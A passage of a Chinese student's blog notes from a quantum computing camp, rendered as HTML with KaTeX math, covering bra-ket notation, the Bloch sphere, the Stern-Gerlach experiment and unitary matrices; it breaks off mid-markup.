      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1><p>會參加這個活動一是因為課程內容看起來就很酷，二是能水一整個禮拜的免費午餐，而且還送書，就是好東西不用錢還反過來送你禮物，這種東西哪裡找對吧！而且還不用考試選拔就能享受XD</p><blockquote><p><s>我都考過物奧了這種課程對我來說應該輕輕鬆鬆(x</s></p></blockquote><p>這次活動附中的特別多，是因為全校都把活動資訊丟在家長群，我比較納悶的是為什麼不直接丟給學生🤔</p><p>以下可能有很多地方都沒有寫的很清楚，這是因為這是一篇筆記文而非教學文。</p><p><img src="certification.png" alt="certification"><br><img src="book.jpg" alt="book"></p><h1 id="%E5%9F%BA%E6%9C%AC%E7%9A%84%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%B8" tabindex="-1">基本的量子力學</h1><h2 id="%E5%8F%A4%E5%85%B8%E7%89%A9%E7%90%86%E5%91%8A%E8%A8%B4%E6%88%91%E5%80%91%E7%9A%84%E4%BA%8B%E6%83%85" tabindex="-1" id="古典物理告訴我們的事情">古典物理告訴我們的事情</h2><ol><li>慣性：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∑</mo><mover accent="true"><mi>F</mi><mo>⃗</mo></mover><mo>=</mo><mn>0</mn><mo>⇔</mo></mrow><annotation encoding="application/x-tex">\sum\limits{\vec{F}}=0\Leftrightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2163em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9663em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathnormal" style="margin-right:0.1389em;">F</span></span><span style="top:-3.2523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.1522em;"><span class="overlay" style="height:0.714em;width:0.471em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.471em" height="0.714em" style="width:0.471em" viewBox="0 0 471 714" preserveAspectRatio="xMinYMin"><path d="M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 53.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 1110.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59H213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359c-16-25.333-24-45-24-59z"/></svg></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇔</span></span></span></span> 無法區分靜 / 動</li><li>帶電 / 磁物體具有加速度會發射電磁波</li></ol><h2 id="bra-ket" tabindex="-1" id="Bra-Ket">Bra-Ket</h2><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>ϕ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">|\phi \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span></span></span></span> 叫做 Ket，就是我們熟悉的列向量，而每個 Ket 都有與之對應的 Bra：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⟨</mo><mi>ϕ</mi><mi mathvariant="normal">∣</mi></mrow><annotation encoding="application/x-tex">\langle\phi|</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal">ϕ</span><span class="mord">∣</span></span></span></span>，是 Ket 的共軛轉置，為行向量，也就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⟨</mo><mi>ϕ</mi><mi mathvariant="normal">∣</mi><mo>=</mo><mi mathvariant="normal">∣</mi><mi>ϕ</mi><msup><mo stretchy="false">⟩</mo><mo>†</mo></msup></mrow><annotation encoding="application/x-tex">\langle\phi| = |\phi \rangle^\dagger</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal">ϕ</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">ϕ</span><span class="mclose"><span class="mclose">⟩</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span></span></span></span>。我們可以輕易驗證兩向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>a</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">|a \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">a</span><span class="mclose">⟩</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>b</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">|b \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mclose">⟩</span></span></span></span> 的內積就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⟨</mo><mi>a</mi><mi mathvariant="normal">∣</mi><mi>b</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\langle a|b \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal">a</span><span class="mord">∣</span><span class="mord mathnormal">b</span><span class="mclose">⟩</span></span></span></span>。</p><p>我們會用一個 Hilbert space 裡的向量來表示一個量子態，Hilbert space 表示完備的內積空間。</p><p>我們定義以下常用的 basis：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left right left" columnspacing="0em 1em 0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mn>0</mn><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><mo separator="true">,</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mn>1</mn><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mo>+</mo><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo separator="true">,</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mo>−</mo><mo stretchy="false">⟩</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}|0\rangle &amp;= \begin{pmatrix} 1 \\ 0 \end{pmatrix}, &amp; |1\rangle &amp;= \begin{pmatrix} 0 \\ 1 \end{pmatrix} \\|+\rangle &amp;= \frac{1}{\sqrt{2}}\left(|0\rangle + |1\rangle\right), &amp; |-\rangle &amp;= \frac{1}{\sqrt{2}}\left(|0\rangle - |1\rangle\right)\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.9515em;vertical-align:-2.2257em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣0</span><span class="mclose">⟩</span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣</span><span class="mord">+</span><span class="mclose">⟩</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣1</span><span class="mclose">⟩</span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord">∣</span><span class="mord">−</span><span class="mclose">⟩</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.7257em;"><span style="top:-4.7257em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span><span style="top:-2.1543em;"><span class="pstrut" style="height:3.45em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.2257em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><h2 id="bloch-sphere" tabindex="-1" id="Bloch-Sphere">Bloch Sphere</h2><p>球座標表示，就這樣。</p><p><img src="Bloch1.png" alt="Bloch1"></p><h2 id="stern-gerlach-%E5%AF%A6%E9%A9%97" tabindex="-1" id="Stern-Gerlach-實驗">Stern-Gerlach 實驗</h2><p><img src="Stern-Gerlach_PPT.jpg" alt="Stern-Gerlach_PPT"></p><p>量子力學中非常非常重要的實驗，不同於巨觀世界的直覺，說明量子力學中有疊加態且測量很重要。<br>我們以向量表示一個量子態，那測量就可以想像成把這個向量投影到測量的方向，能以此簡易的理解實驗結果。</p><p><img src="Stern-Gerlach.jpg" alt="Stern-Gerlach"></p><h2 id="%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%B8-4-%E5%A4%A7%E5%85%AC%E8%A8%AD" tabindex="-1" id="量子力學-4-大公設">量子力學 4 大公設</h2><p><img src="4_postulates_of_QM.jpg" alt="4 postulates of QM"></p><p>以下解釋 Unitary 和 Tensor product 是什麼</p><h3 id="unitary-matrix" tabindex="-1" id="Unitary-Matrix">Unitary Matrix</h3><p>矩陣 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex">U</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span></span></span></span> 是 Unitary 矩陣表示</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>U</mi><mo>⋅</mo><msup><mi>U</mi><mo>†</mo></msup><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex">U\cdot U^\dagger = I</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span></span></span></span></span></p><p>為什麼量子變換都一定是 Unitary 呢？是因為 Unitary 能保正交(因為要機率守恆)，見以下：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>ψ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">⟩</mo><mo>=</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>ϕ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">⟩</mo><mo>=</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi&#x27;\rangle = U\vert{}\psi\rangle\vert{}\phi&#x27;\rangle = U\vert{}\phi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal">ϕ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">⟨</mo><msup><mi>ψ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>ϕ</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">⟩</mo><mo>=</mo><mo stretchy="false">(</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><msup><mo stretchy="false">)</mo><mo>†</mo></msup><mo stretchy="false">(</mo><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">⟨</mo><mi>ψ</mi><mi mathvariant="normal">∣</mi><mrow></mrow><msup><mi>U</mi><mo>†</mo></msup><mi>U</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\langle \psi&#x27; \vert{} \phi&#x27; \rangle = (U\vert{}\psi\rangle)^\dagger (U\vert{}\phi\rangle) = \langle \psi \vert{} U^\dagger U \vert{} \phi \rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal">ϕ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mopen">⟨</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span></span></span></span></span></p><p>為了保內積，我們要求 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi><mo>⋅</mo><msup><mi>U</mi><mo>†</mo></msup><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex">U\cdot U^\dagger = I</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">†</span></span></span></span></span></span></span></span><span class="mspace" 